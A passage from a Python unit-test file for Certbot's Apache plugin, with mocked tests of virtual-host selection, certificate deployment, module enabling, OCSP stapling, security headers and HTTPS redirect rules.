        chosen_vhost = self.config._find_best_vhost("purple.com")
        self.assertEqual(None, chosen_vhost)

    def test_findbest_continues_on_long_domain(self):
        # pylint: disable=protected-access
        chosen_vhost = self.config._find_best_vhost("green.red.purple.com")
        self.assertEqual(None, chosen_vhost)

    def test_find_best_vhost(self):
        # pylint: disable=protected-access
        self.assertEqual(
            self.vh_truth[3], self.config._find_best_vhost("certbot.demo"))
        self.assertEqual(
            self.vh_truth[0],
            self.config._find_best_vhost("encryption-example.demo"))
        self.assertEqual(
            self.config._find_best_vhost("does-not-exist.com"), None)

    def test_find_best_vhost_variety(self):
        # pylint: disable=protected-access
        ssl_vh = obj.VirtualHost(
            "fp", "ap", set([obj.Addr(("*", "443")),
                             obj.Addr(("zombo.com",))]),
            True, False)
        self.config.vhosts.append(ssl_vh)
        self.assertEqual(self.config._find_best_vhost("zombo.com"), ssl_vh)

    def test_find_best_vhost_default(self):
        # pylint: disable=protected-access
        # Assume only the two default vhosts.
        self.config.vhosts = [
            vh for vh in self.config.vhosts
            if vh.name not in ["certbot.demo",
                "encryption-example.demo",
                "ocspvhost.com"]
            and "*.blue.purple.com" not in vh.aliases
        ]
        self.assertEqual(
            self.config._find_best_vhost("encryption-example.demo"),
            self.vh_truth[2])

    def test_non_default_vhosts(self):
        # pylint: disable=protected-access
        self.assertEqual(len(self.config._non_default_vhosts()), 6)

    def test_is_site_enabled(self):
        """Test if site is enabled.

        .. note:: This test currently fails for hard links
            (which may happen if you move dirs incorrectly)
        .. warning:: This test does not work when running using the
            unittest.main() function. It incorrectly copies symlinks.

        """
        self.assertTrue(self.config.is_site_enabled(self.vh_truth[0].filep))
        self.assertFalse(self.config.is_site_enabled(self.vh_truth[1].filep))
        self.assertTrue(self.config.is_site_enabled(self.vh_truth[2].filep))
        self.assertTrue(self.config.is_site_enabled(self.vh_truth[3].filep))
        with mock.patch("os.path.isdir") as mock_isdir:
            mock_isdir.return_value = False
            self.assertRaises(errors.ConfigurationError,
                              self.config.is_site_enabled,
                              "irrelevant")

    @mock.patch("certbot.util.run_script")
    @mock.patch("certbot.util.exe_exists")
    @mock.patch("certbot_apache.parser.subprocess.Popen")
    def test_enable_mod(self, mock_popen, mock_exe_exists, mock_run_script):
        mock_popen().communicate.return_value = ("Define: DUMP_RUN_CFG", "")
        mock_popen().returncode = 0
        mock_exe_exists.return_value = True

        self.config.enable_mod("ssl")
        self.assertTrue("ssl_module" in self.config.parser.modules)
        self.assertTrue("mod_ssl.c" in self.config.parser.modules)

        self.assertTrue(mock_run_script.called)

    def test_enable_mod_unsupported_dirs(self):
        shutil.rmtree(os.path.join(self.config.parser.root, "mods-enabled"))
        self.assertRaises(
            errors.NotSupportedError, self.config.enable_mod, "ssl")

    @mock.patch("certbot.util.exe_exists")
    def test_enable_mod_no_disable(self, mock_exe_exists):
        mock_exe_exists.return_value = False
        self.assertRaises(
            errors.MisconfigurationError, self.config.enable_mod, "ssl")

    def test_enable_site(self):
        # Default 443 vhost
        self.assertFalse(self.vh_truth[1].enabled)
        self.config.enable_site(self.vh_truth[1])
        self.assertTrue(self.vh_truth[1].enabled)

        # Go again to make sure nothing fails
        self.config.enable_site(self.vh_truth[1])

    def test_enable_site_failure(self):
        self.assertRaises(
            errors.NotSupportedError,
            self.config.enable_site,
            obj.VirtualHost("asdf", "afsaf", set(), False, False))

    def test_deploy_cert_newssl(self):
        self.config = util.get_apache_configurator(
            self.config_path, self.vhost_path, self.config_dir,
            self.work_dir, version=(2, 4, 16))

        self.config.parser.modules.add("ssl_module")
        self.config.parser.modules.add("mod_ssl.c")

        # Get the default 443 vhost
        self.config.assoc["random.demo"] = self.vh_truth[1]
        self.config = self.mock_deploy_cert(self.config)
        self.config.deploy_cert(
            "random.demo", "example/cert.pem", "example/key.pem",
            "example/cert_chain.pem", "example/fullchain.pem")
        self.config.save()

        # Verify ssl_module was enabled.
        self.assertTrue(self.vh_truth[1].enabled)
        self.assertTrue("ssl_module" in self.config.parser.modules)

        loc_cert = self.config.parser.find_dir(
            "sslcertificatefile", "example/fullchain.pem",
            self.vh_truth[1].path)
        loc_key = self.config.parser.find_dir(
            "sslcertificateKeyfile", "example/key.pem", self.vh_truth[1].path)

        # Verify one directive was found in the correct file
        self.assertEqual(len(loc_cert), 1)
        self.assertEqual(configurator.get_file_path(loc_cert[0]),
                         self.vh_truth[1].filep)

        self.assertEqual(len(loc_key), 1)
        self.assertEqual(configurator.get_file_path(loc_key[0]),
                         self.vh_truth[1].filep)

    def test_deploy_cert_newssl_no_fullchain(self):
        self.config = util.get_apache_configurator(
            self.config_path, self.vhost_path, self.config_dir,
            self.work_dir, version=(2, 4, 16))
        self.config = self.mock_deploy_cert(self.config)

        self.config.parser.modules.add("ssl_module")
        self.config.parser.modules.add("mod_ssl.c")

        # Get the default 443 vhost
        self.config.assoc["random.demo"] = self.vh_truth[1]
        self.assertRaises(errors.PluginError,
                          lambda: self.config.deploy_cert(
                              "random.demo", "example/cert.pem",
                              "example/key.pem"))

    def test_deploy_cert_old_apache_no_chain(self):
        self.config = util.get_apache_configurator(
            self.config_path, self.vhost_path, self.config_dir,
            self.work_dir, version=(2, 4, 7))
        self.config = self.mock_deploy_cert(self.config)

        self.config.parser.modules.add("ssl_module")
        self.config.parser.modules.add("mod_ssl.c")

        # Get the default 443 vhost
        self.config.assoc["random.demo"] = self.vh_truth[1]
        self.assertRaises(errors.PluginError,
                          lambda: self.config.deploy_cert(
                              "random.demo", "example/cert.pem",
                              "example/key.pem"))

    def test_deploy_cert(self):
        self.config.parser.modules.add("ssl_module")
        self.config.parser.modules.add("mod_ssl.c")

        # Get the default 443 vhost
        self.config.assoc["random.demo"] = self.vh_truth[1]
        self.config.deploy_cert(
            "random.demo",
            "example/cert.pem", "example/key.pem", "example/cert_chain.pem")
        self.config.save()

        # Verify ssl_module was enabled.
        self.assertTrue(self.vh_truth[1].enabled)
        self.assertTrue("ssl_module" in self.config.parser.modules)

        loc_cert = self.config.parser.find_dir(
            "sslcertificatefile", "example/cert.pem", self.vh_truth[1].path)
        loc_key = self.config.parser.find_dir(
            "sslcertificateKeyfile", "example/key.pem", self.vh_truth[1].path)
        loc_chain = self.config.parser.find_dir(
            "SSLCertificateChainFile", "example/cert_chain.pem",
            self.vh_truth[1].path)

        # Verify one directive was found in the correct file
        self.assertEqual(len(loc_cert), 1)
        self.assertEqual(configurator.get_file_path(loc_cert[0]),
                         self.vh_truth[1].filep)

        self.assertEqual(len(loc_key), 1)
        self.assertEqual(configurator.get_file_path(loc_key[0]),
                         self.vh_truth[1].filep)

        self.assertEqual(len(loc_chain), 1)
        self.assertEqual(configurator.get_file_path(loc_chain[0]),
                         self.vh_truth[1].filep)

        # One more time for chain directive setting
        self.config.deploy_cert(
            "random.demo",
            "two/cert.pem", "two/key.pem", "two/cert_chain.pem")
        self.assertTrue(self.config.parser.find_dir(
            "SSLCertificateChainFile", "two/cert_chain.pem",
            self.vh_truth[1].path))

    def test_deploy_cert_invalid_vhost(self):
        self.config.parser.modules.add("ssl_module")
        mock_find = mock.MagicMock()
        mock_find.return_value = []
        self.config.parser.find_dir = mock_find

        # Get the default 443 vhost
        self.config.assoc["random.demo"] = self.vh_truth[1]
        self.assertRaises(
            errors.PluginError, self.config.deploy_cert, "random.demo",
            "example/cert.pem", "example/key.pem", "example/cert_chain.pem")

    def test_is_name_vhost(self):
        addr = obj.Addr.fromstring("*:80")
        self.assertTrue(self.config.is_name_vhost(addr))
        self.config.version = (2, 2)
        self.assertFalse(self.config.is_name_vhost(addr))

    def test_add_name_vhost(self):
        self.config.add_name_vhost(obj.Addr.fromstring("*:443"))
        self.config.add_name_vhost(obj.Addr.fromstring("*:80"))
        self.assertTrue(self.config.parser.find_dir(
            "NameVirtualHost", "*:443", exclude=False))
        self.assertTrue(self.config.parser.find_dir(
            "NameVirtualHost", "*:80"))

    def test_prepare_server_https(self):
        mock_enable = mock.Mock()
        self.config.enable_mod = mock_enable

        mock_find = mock.Mock()
        mock_add_dir = mock.Mock()
        mock_find.return_value = []

        # This will test the Add listen
        self.config.parser.find_dir = mock_find
        self.config.parser.add_dir_to_ifmodssl = mock_add_dir

        self.config.prepare_server_https("443")
        # Changing the order these modules are enabled breaks the reverter
        self.assertEqual(mock_enable.call_args_list[0][0][0], "socache_shmcb")
        self.assertEqual(mock_enable.call_args[0][0], "ssl")
        self.assertEqual(mock_enable.call_args[1], {"temp": False})

        self.config.prepare_server_https("8080", temp=True)
        # Changing the order these modules are enabled breaks the reverter
        self.assertEqual(mock_enable.call_args_list[2][0][0], "socache_shmcb")
        self.assertEqual(mock_enable.call_args[0][0], "ssl")
        # Enable mod is temporary
        self.assertEqual(mock_enable.call_args[1], {"temp": True})

        self.assertEqual(mock_add_dir.call_count, 2)

    def test_prepare_server_https_named_listen(self):
        mock_find = mock.Mock()
        mock_find.return_value = ["test1", "test2", "test3"]
        mock_get = mock.Mock()
        mock_get.side_effect = ["1.2.3.4:80", "[::1]:80", "1.1.1.1:443"]
        mock_add_dir = mock.Mock()
        mock_enable = mock.Mock()

        self.config.parser.find_dir = mock_find
        self.config.parser.get_arg = mock_get
        self.config.parser.add_dir_to_ifmodssl = mock_add_dir
        self.config.enable_mod = mock_enable

        # Test Listen statements with specific ip listeed
        self.config.prepare_server_https("443")
        # Should be 0 as one interface already listens to 443
        self.assertEqual(mock_add_dir.call_count, 0)

        # Reset return lists and inputs
        mock_add_dir.reset_mock()
        mock_get.side_effect = ["1.2.3.4:80", "[::1]:80", "1.1.1.1:443"]

        # Test
        self.config.prepare_server_https("8080", temp=True)
        self.assertEqual(mock_add_dir.call_count, 3)
        self.assertEqual(mock_add_dir.call_args_list[0][0][2],
                         ["1.2.3.4:8080", "https"])
        self.assertEqual(mock_add_dir.call_args_list[1][0][2],
                         ["[::1]:8080", "https"])
        self.assertEqual(mock_add_dir.call_args_list[2][0][2],
                         ["1.1.1.1:8080", "https"])

        # mock_get.side_effect = ["1.2.3.4:80", "[::1]:80"]
        # mock_find.return_value = ["test1", "test2", "test3"]
        # self.config.parser.get_arg = mock_get
        # self.config.prepare_server_https("8080", temp=True)
        # self.assertEqual(self.listens, 0)

    def test_prepare_server_https_needed_listen(self):
        mock_find = mock.Mock()
        mock_find.return_value = ["test1", "test2"]
        mock_get = mock.Mock()
        mock_get.side_effect = ["1.2.3.4:8080", "80"]
        mock_add_dir = mock.Mock()
        mock_enable = mock.Mock()

        self.config.parser.find_dir = mock_find
        self.config.parser.get_arg = mock_get
        self.config.parser.add_dir_to_ifmodssl = mock_add_dir
        self.config.enable_mod = mock_enable

        self.config.prepare_server_https("443")
        self.assertEqual(mock_add_dir.call_count, 1)

    def test_prepare_server_https_mixed_listen(self):

        mock_find = mock.Mock()
        mock_find.return_value = ["test1", "test2"]
        mock_get = mock.Mock()
        mock_get.side_effect = ["1.2.3.4:8080", "443"]
        mock_add_dir = mock.Mock()
        mock_enable = mock.Mock()

        self.config.parser.find_dir = mock_find
        self.config.parser.get_arg = mock_get
        self.config.parser.add_dir_to_ifmodssl = mock_add_dir
        self.config.enable_mod = mock_enable

        # Test Listen statements with specific ip listeed
        self.config.prepare_server_https("443")
        # Should only be 2 here, as the third interface
        # already listens to the correct port
        self.assertEqual(mock_add_dir.call_count, 0)

    def test_make_vhost_ssl(self):
        ssl_vhost = self.config.make_vhost_ssl(self.vh_truth[0])

        self.assertEqual(
            ssl_vhost.filep,
            os.path.join(self.config_path, "sites-available",
                         "encryption-example-le-ssl.conf"))

        self.assertEqual(ssl_vhost.path,
                         "/files" + ssl_vhost.filep + "/IfModule/VirtualHost")
        self.assertEqual(len(ssl_vhost.addrs), 1)
        self.assertEqual(set([obj.Addr.fromstring("*:443")]), ssl_vhost.addrs)
        self.assertEqual(ssl_vhost.name, "encryption-example.demo")
        self.assertTrue(ssl_vhost.ssl)
        self.assertFalse(ssl_vhost.enabled)

        self.assertTrue(self.config.parser.find_dir(
            "SSLCertificateFile", None, ssl_vhost.path, False))
        self.assertTrue(self.config.parser.find_dir(
            "SSLCertificateKeyFile", None, ssl_vhost.path, False))

        self.assertEqual(self.config.is_name_vhost(self.vh_truth[0]),
                         self.config.is_name_vhost(ssl_vhost))

        self.assertEqual(len(self.config.vhosts), 9)

    def test_clean_vhost_ssl(self):
        # pylint: disable=protected-access
        for directive in ["SSLCertificateFile", "SSLCertificateKeyFile",
                          "SSLCertificateChainFile", "SSLCACertificatePath"]:
            for _ in range(10):
                self.config.parser.add_dir(self.vh_truth[1].path,
                                           directive, ["bogus"])
        self.config.save()

        self.config._clean_vhost(self.vh_truth[1])
        self.config.save()

        loc_cert = self.config.parser.find_dir(
            'SSLCertificateFile', None, self.vh_truth[1].path, False)
        loc_key = self.config.parser.find_dir(
            'SSLCertificateKeyFile', None, self.vh_truth[1].path, False)
        loc_chain = self.config.parser.find_dir(
            'SSLCertificateChainFile', None, self.vh_truth[1].path, False)
        loc_cacert = self.config.parser.find_dir(
            'SSLCACertificatePath', None, self.vh_truth[1].path, False)

        self.assertEqual(len(loc_cert), 1)
        self.assertEqual(len(loc_key), 1)

        self.assertEqual(len(loc_chain), 0)

        self.assertEqual(len(loc_cacert), 10)

    def test_deduplicate_directives(self):
        # pylint: disable=protected-access
        DIRECTIVE = "Foo"
        for _ in range(10):
            self.config.parser.add_dir(self.vh_truth[1].path,
                                       DIRECTIVE, ["bar"])
        self.config.save()

        self.config._deduplicate_directives(self.vh_truth[1].path, [DIRECTIVE])
        self.config.save()

        self.assertEqual(
            len(self.config.parser.find_dir(
                DIRECTIVE, None, self.vh_truth[1].path, False)), 1)

    def test_remove_directives(self):
        # pylint: disable=protected-access
        DIRECTIVES = ["Foo", "Bar"]
        for directive in DIRECTIVES:
            for _ in range(10):
                self.config.parser.add_dir(self.vh_truth[1].path,
                                           directive, ["baz"])
        self.config.save()

        self.config._remove_directives(self.vh_truth[1].path, DIRECTIVES)
        self.config.save()

        for directive in DIRECTIVES:
            self.assertEqual(
                len(self.config.parser.find_dir(
                    directive, None, self.vh_truth[1].path, False)), 0)

    def test_make_vhost_ssl_extra_vhs(self):
        self.config.aug.match = mock.Mock(return_value=["p1", "p2"])
        self.assertRaises(
            errors.PluginError, self.config.make_vhost_ssl, self.vh_truth[0])

    def test_make_vhost_ssl_bad_write(self):
        mock_open = mock.mock_open()
        # This calls open
        self.config.reverter.register_file_creation = mock.Mock()
        mock_open.side_effect = IOError
        with mock.patch("__builtin__.open", mock_open):
            self.assertRaises(
                errors.PluginError,
                self.config.make_vhost_ssl, self.vh_truth[0])

    def test_get_ssl_vhost_path(self):
        # pylint: disable=protected-access
        self.assertTrue(
            self.config._get_ssl_vhost_path("example_path").endswith(".conf"))

    def test_add_name_vhost_if_necessary(self):
        # pylint: disable=protected-access
        self.config.save = mock.Mock()
        self.config.version = (2, 2)
        self.config._add_name_vhost_if_necessary(self.vh_truth[0])
        self.assertTrue(self.config.save.called)

        new_addrs = set()
        for addr in self.vh_truth[0].addrs:
            new_addrs.add(obj.Addr(("_default_", addr.get_port(),)))

        self.vh_truth[0].addrs = new_addrs
        self.config._add_name_vhost_if_necessary(self.vh_truth[0])
        self.assertEqual(self.config.save.call_count, 2)

    @mock.patch("certbot_apache.configurator.tls_sni_01.ApacheTlsSni01.perform")
    @mock.patch("certbot_apache.configurator.ApacheConfigurator.restart")
    def test_perform(self, mock_restart, mock_perform):
        # Only tests functionality specific to configurator.perform
        # Note: As more challenges are offered this will have to be expanded
        account_key, achall1, achall2 = self.get_achalls()

        expected = [
            achall1.response(account_key),
            achall2.response(account_key),
        ]

        mock_perform.return_value = expected
        responses = self.config.perform([achall1, achall2])

        self.assertEqual(mock_perform.call_count, 1)
        self.assertEqual(responses, expected)

        self.assertEqual(mock_restart.call_count, 1)

    @mock.patch("certbot_apache.configurator.ApacheConfigurator.restart")
    def test_cleanup(self, mock_restart):
        _, achall1, achall2 = self.get_achalls()

        self.config._chall_out.add(achall1)  # pylint: disable=protected-access
        self.config._chall_out.add(achall2)  # pylint: disable=protected-access

        self.config.cleanup([achall1])
        self.assertFalse(mock_restart.called)

        self.config.cleanup([achall2])
        self.assertTrue(mock_restart.called)

    @mock.patch("certbot_apache.configurator.ApacheConfigurator.restart")
    def test_cleanup_no_errors(self, mock_restart):
        _, achall1, achall2 = self.get_achalls()

        self.config._chall_out.add(achall1)  # pylint: disable=protected-access

        self.config.cleanup([achall2])
        self.assertFalse(mock_restart.called)

        self.config.cleanup([achall1, achall2])
        self.assertTrue(mock_restart.called)

    @mock.patch("certbot.util.run_script")
    def test_get_version(self, mock_script):
        mock_script.return_value = (
            "Server Version: Apache/2.4.2 (Debian)", "")
        self.assertEqual(self.config.get_version(), (2, 4, 2))

        mock_script.return_value = (
            "Server Version: Apache/2 (Linux)", "")
        self.assertEqual(self.config.get_version(), (2,))

        mock_script.return_value = (
            "Server Version: Apache (Debian)", "")
        self.assertRaises(errors.PluginError, self.config.get_version)

        mock_script.return_value = (
            "Server Version: Apache/2.3{0} Apache/2.4.7".format(
                os.linesep), "")
        self.assertRaises(errors.PluginError, self.config.get_version)

        mock_script.side_effect = errors.SubprocessError("Can't find program")
        self.assertRaises(errors.PluginError, self.config.get_version)

    @mock.patch("certbot_apache.configurator.util.run_script")
    def test_restart(self, _):
        self.config.restart()

    @mock.patch("certbot_apache.configurator.util.run_script")
    def test_restart_bad_process(self, mock_run_script):
        mock_run_script.side_effect = [None, errors.SubprocessError]

        self.assertRaises(errors.MisconfigurationError, self.config.restart)

    @mock.patch("certbot.util.run_script")
    def test_config_test(self, _):
        self.config.config_test()

    @mock.patch("certbot.util.run_script")
    def test_config_test_bad_process(self, mock_run_script):
        mock_run_script.side_effect = errors.SubprocessError

        self.assertRaises(errors.MisconfigurationError,
                          self.config.config_test)

    def test_get_all_certs_keys(self):
        c_k = self.config.get_all_certs_keys()
        self.assertEqual(len(c_k), 3)
        cert, key, path = next(iter(c_k))
        self.assertTrue("cert" in cert)
        self.assertTrue("key" in key)
        self.assertTrue("default-ssl" in path or "ocsp-ssl" in path)

    def test_get_all_certs_keys_malformed_conf(self):
        self.config.parser.find_dir = mock.Mock(
            side_effect=[["path"], [], ["path"], [], ["path"], []])
        c_k = self.config.get_all_certs_keys()

        self.assertFalse(c_k)

    def test_more_info(self):
        self.assertTrue(self.config.more_info())

    def test_get_chall_pref(self):
        self.assertTrue(isinstance(self.config.get_chall_pref(""), list))

    def test_install_ssl_options_conf(self):
        from certbot_apache.configurator import install_ssl_options_conf
        path = os.path.join(self.work_dir, "test_it")
        install_ssl_options_conf(path)
        self.assertTrue(os.path.isfile(path))

    # TEST ENHANCEMENTS
    def test_supported_enhancements(self):
        self.assertTrue(isinstance(self.config.supported_enhancements(), list))

    @mock.patch("certbot_apache.configurator.ApacheConfigurator._get_http_vhost")
    @mock.patch("certbot_apache.display_ops.select_vhost")
    @mock.patch("certbot.util.exe_exists")
    def test_enhance_unknown_vhost(self, mock_exe, mock_sel_vhost, mock_get):
        self.config.parser.modules.add("rewrite_module")
        mock_exe.return_value = True
        ssl_vh1 = obj.VirtualHost(
            "fp1", "ap1", set([obj.Addr(("*", "443"))]),
            True, False)
        ssl_vh1.name = "satoshi.com"
        self.config.vhosts.append(ssl_vh1)
        mock_sel_vhost.return_value = None
        mock_get.return_value = None

        self.assertRaises(
            errors.PluginError,
            self.config.enhance, "satoshi.com", "redirect")

    def test_enhance_unknown_enhancement(self):
        self.assertRaises(
            errors.PluginError,
            self.config.enhance, "certbot.demo", "unknown_enhancement")

    @mock.patch("certbot.util.run_script")
    @mock.patch("certbot.util.exe_exists")
    def test_ocsp_stapling(self, mock_exe, mock_run_script):
        self.config.parser.update_runtime_variables = mock.Mock()
        self.config.parser.modules.add("mod_ssl.c")
        self.config.get_version = mock.Mock(return_value=(2, 4, 7))
        mock_exe.return_value = True

        # This will create an ssl vhost for certbot.demo
        self.config.enhance("certbot.demo", "staple-ocsp")

        self.assertTrue("socache_shmcb_module" in self.config.parser.modules)
        self.assertTrue(mock_run_script.called)

        # Get the ssl vhost for certbot.demo
        ssl_vhost = self.config.assoc["certbot.demo"]

        ssl_use_stapling_aug_path = self.config.parser.find_dir(
            "SSLUseStapling", "on", ssl_vhost.path)

        self.assertEqual(len(ssl_use_stapling_aug_path), 1)

        ssl_vhost_aug_path = parser.get_aug_path(ssl_vhost.filep)
        stapling_cache_aug_path = self.config.parser.find_dir('SSLStaplingCache',
                    "shmcb:/var/run/apache2/stapling_cache(128000)",
                    ssl_vhost_aug_path)

        self.assertEqual(len(stapling_cache_aug_path), 1)

    @mock.patch("certbot.util.exe_exists")
    def test_ocsp_stapling_twice(self, mock_exe):
        self.config.parser.update_runtime_variables = mock.Mock()
        self.config.parser.modules.add("mod_ssl.c")
        self.config.parser.modules.add("socache_shmcb_module")
        self.config.get_version = mock.Mock(return_value=(2, 4, 7))
        mock_exe.return_value = True

        # Checking the case with already enabled ocsp stapling configuration
        self.config.enhance("ocspvhost.com", "staple-ocsp")

        # Get the ssl vhost for letsencrypt.demo
        ssl_vhost = self.config.assoc["ocspvhost.com"]

        ssl_use_stapling_aug_path = self.config.parser.find_dir(
            "SSLUseStapling", "on", ssl_vhost.path)

        self.assertEqual(len(ssl_use_stapling_aug_path), 1)

        ssl_vhost_aug_path = parser.get_aug_path(ssl_vhost.filep)
        stapling_cache_aug_path = self.config.parser.find_dir('SSLStaplingCache',
                    "shmcb:/var/run/apache2/stapling_cache(128000)",
                    ssl_vhost_aug_path)

        self.assertEqual(len(stapling_cache_aug_path), 1)


    @mock.patch("certbot.util.exe_exists")
    def test_ocsp_unsupported_apache_version(self, mock_exe):
        mock_exe.return_value = True
        self.config.parser.update_runtime_variables = mock.Mock()
        self.config.parser.modules.add("mod_ssl.c")
        self.config.parser.modules.add("socache_shmcb_module")
        self.config.get_version = mock.Mock(return_value=(2, 2, 0))

        self.assertRaises(errors.PluginError,
                self.config.enhance, "certbot.demo", "staple-ocsp")


    def test_get_http_vhost_third_filter(self):
        ssl_vh = obj.VirtualHost(
            "fp", "ap", set([obj.Addr(("*", "443"))]),
            True, False)
        ssl_vh.name = "satoshi.com"
        self.config.vhosts.append(ssl_vh)

        # pylint: disable=protected-access
        http_vh = self.config._get_http_vhost(ssl_vh)
        self.assertTrue(http_vh.ssl == False)

    @mock.patch("certbot.util.run_script")
    @mock.patch("certbot.util.exe_exists")
    def test_http_header_hsts(self, mock_exe, _):
        self.config.parser.update_runtime_variables = mock.Mock()
        self.config.parser.modules.add("mod_ssl.c")
        mock_exe.return_value = True

        # This will create an ssl vhost for certbot.demo
        self.config.enhance("certbot.demo", "ensure-http-header",
                            "Strict-Transport-Security")

        self.assertTrue("headers_module" in self.config.parser.modules)

        # Get the ssl vhost for certbot.demo
        ssl_vhost = self.config.assoc["certbot.demo"]

        # These are not immediately available in find_dir even with save() and
        # load(). They must be found in sites-available
        hsts_header = self.config.parser.find_dir(
            "Header", None, ssl_vhost.path)

        # four args to HSTS header
        self.assertEqual(len(hsts_header), 4)

    def test_http_header_hsts_twice(self):
        self.config.parser.modules.add("mod_ssl.c")
        # skip the enable mod
        self.config.parser.modules.add("headers_module")

        # This will create an ssl vhost for certbot.demo
        self.config.enhance("encryption-example.demo", "ensure-http-header",
                            "Strict-Transport-Security")

        self.assertRaises(
            errors.PluginEnhancementAlreadyPresent,
            self.config.enhance, "encryption-example.demo",
            "ensure-http-header", "Strict-Transport-Security")

    @mock.patch("certbot.util.run_script")
    @mock.patch("certbot.util.exe_exists")
    def test_http_header_uir(self, mock_exe, _):
        self.config.parser.update_runtime_variables = mock.Mock()
        self.config.parser.modules.add("mod_ssl.c")
        mock_exe.return_value = True

        # This will create an ssl vhost for certbot.demo
        self.config.enhance("certbot.demo", "ensure-http-header",
                            "Upgrade-Insecure-Requests")

        self.assertTrue("headers_module" in self.config.parser.modules)

        # Get the ssl vhost for certbot.demo
        ssl_vhost = self.config.assoc["certbot.demo"]

        # These are not immediately available in find_dir even with save() and
        # load(). They must be found in sites-available
        uir_header = self.config.parser.find_dir(
            "Header", None, ssl_vhost.path)

        # four args to HSTS header
        self.assertEqual(len(uir_header), 4)

    def test_http_header_uir_twice(self):
        self.config.parser.modules.add("mod_ssl.c")
        # skip the enable mod
        self.config.parser.modules.add("headers_module")

        # This will create an ssl vhost for certbot.demo
        self.config.enhance("encryption-example.demo", "ensure-http-header",
                            "Upgrade-Insecure-Requests")

        self.assertRaises(
            errors.PluginEnhancementAlreadyPresent,
            self.config.enhance, "encryption-example.demo",
            "ensure-http-header", "Upgrade-Insecure-Requests")

    @mock.patch("certbot.util.run_script")
    @mock.patch("certbot.util.exe_exists")
    def test_redirect_well_formed_http(self, mock_exe, _):
        self.config.parser.update_runtime_variables = mock.Mock()
        mock_exe.return_value = True
        self.config.get_version = mock.Mock(return_value=(2, 2))

        # This will create an ssl vhost for certbot.demo
        self.config.enhance("certbot.demo", "redirect")

        # These are not immediately available in find_dir even with save() and
        # load(). They must be found in sites-available
        rw_engine = self.config.parser.find_dir(
            "RewriteEngine", "on", self.vh_truth[3].path)
        rw_rule = self.config.parser.find_dir(
            "RewriteRule", None, self.vh_truth[3].path)

        self.assertEqual(len(rw_engine), 1)
        # three args to rw_rule
        self.assertEqual(len(rw_rule), 3)

        self.assertTrue(rw_engine[0].startswith(self.vh_truth[3].path))
        self.assertTrue(rw_rule[0].startswith(self.vh_truth[3].path))

        self.assertTrue("rewrite_module" in self.config.parser.modules)

    def test_rewrite_rule_exists(self):
        # Skip the enable mod
        self.config.parser.modules.add("rewrite_module")
        self.config.get_version = mock.Mock(return_value=(2, 3, 9))
        self.config.parser.add_dir(
            self.vh_truth[3].path, "RewriteRule", ["Unknown"])
        # pylint: disable=protected-access
        self.assertTrue(self.config._is_rewrite_exists(self.vh_truth[3]))

    def test_rewrite_engine_exists(self):
        # Skip the enable mod
        self.config.parser.modules.add("rewrite_module")
        self.config.get_version = mock.Mock(return_value=(2, 3, 9))
        self.config.parser.add_dir(
            self.vh_truth[3].path, "RewriteEngine", "on")
        # pylint: disable=protected-access
        self.assertTrue(self.config._is_rewrite_engine_on(self.vh_truth[3]))

    @mock.patch("certbot.util.run_script")
    @mock.patch("certbot.util.exe_exists")
    def test_redirect_with_existing_rewrite(self, mock_exe, _):
        self.config.parser.update_runtime_variables = mock.Mock()
        mock_exe.return_value = True
        self.config.get_version = mock.Mock(return_value=(2, 2, 0))

        # Create a preexisting rewrite rule
        self.config.parser.add_dir(
            self.vh_truth[3].path, "RewriteRule", ["UnknownPattern",
                                                   "UnknownTarget"])
        self.config.save()

        # This will create an ssl vhost for certbot.demo
        self.config.enhance("certbot.demo", "redirect")

        # These are not immediately available in find_dir even with save() and
        # load(). They must be found in sites-available
        rw_engine = self.config.parser.find_dir(
            "RewriteEngine", "on", self.vh_truth[3].path)
        rw_rule = self.config.parser.find_dir(
            "RewriteRule", None, self.vh_truth[3].path)

        self.assertEqual(len(rw_engine), 1)
        # three args to rw_rule + 1 arg for the pre existing rewrite
        self.assertEqual(len(rw_rule), 5)

        self.assertTrue(rw_engine[0].startswith(self.vh_truth[3].path))
        self.assertTrue(rw_rule[0].startswith(self.vh_truth[3].path))

        self.assertTrue("rewrite_module" in self.config.parser.modules)

    def test_redirect_with_conflict(self):
        self.config.parser.modules.add("rewrite_module")
        ssl_vh = obj.VirtualHost(
            "fp", "ap", set([obj.Addr(("*", "443")),
                             obj.Addr(("zombo.com",))]),
            True, False)
        # No names ^ this guy should conflict.

        # pylint: disable=protected-access
        self.assertRaises(
            errors.PluginError, self.config._enable_redirect, ssl_vh, "")

    def test_redirect_two_domains_one_vhost(self):
        # Skip the enable mod
        self.config.parser.modules.add("rewrite_module")
        self.config.get_version = mock.Mock(return_value=(2, 3, 9))

        self.config.enhance("red.blue.purple.com", "redirect")
        verify_no_redirect = ("certbot_apache.configurator."
                              "ApacheConfigurator._verify_no_certbot_redirect")
        with mock.patch(verify_no_redirect) as mock_verify:
            self.config.enhance("green.blue.purple.com", "redirect")
        self.assertFalse(mock_verify.called)

    def test_redirect_from_previous_run(self):
        # Skip the enable mod
        self.config.parser.modules.add("rewrite_module")
        self.config.get_version = mock.Mock(return_value=(2, 3, 9))

        self.config.enhance("red.blue.purple.com", "redirect")
        # Clear state about enabling redirect on this run
        # pylint: disable=protected-access
        self.config._enhanced_vhosts["redirect"].clear()

        self.assertRaises(
            errors.PluginEnhancementAlreadyPresent,
            self.config.enhance, "green.blue.purple.com", "redirect")

    def test_create_own_redirect(self):
        self.config.parser.modules.add("rewrite_module")
        self.config.get_version = mock.Mock(return_value=(2, 3, 9))
        # For full testing... give names...
        self.vh_truth[1].name = "default.com"
        self.vh_truth[1].aliases = set(["yes.default.com"])

        # pylint: disable=protected-access
        self.config._enable_redirect(self.vh_truth[1], "")
        self.assertEqual(len(self.config.vhosts), 9)

    def test_create_own_redirect_for_old_apache_version(self):
        self.config.parser.modules.add("rewrite_module")
        self.config.get_version = mock.Mock(return_value=(2, 2))
        # For full testing... give names...
        self.vh_truth[1].name = "default.com"
        self.vh_truth[1].aliases = set(["yes.default.com"])

        # pylint: disable=protected-access
        self.config._enable_redirect(self.vh_truth[1], "")
        self.assertEqual(len(self.config.vhosts), 9)

    def test_sift_rewrite_rule(self):
        # pylint: disable=protected-access
        small_quoted_target = "RewriteRule ^ \"http://\""
        self.assertFalse(self.config._sift_rewrite_rule(small_quoted_target))

        https_target = "RewriteRule ^ https://satoshi"
        self.assertTrue(self.config._sift_rewrite_rule(https_target))

        normal_target = "RewriteRule ^/(.*) http://www.a.com:1234/$1 [L,R]"
        self.assertFalse(self.config._sift_rewrite_rule(normal_target))

        not_rewriterule = "NotRewriteRule ^ ..."
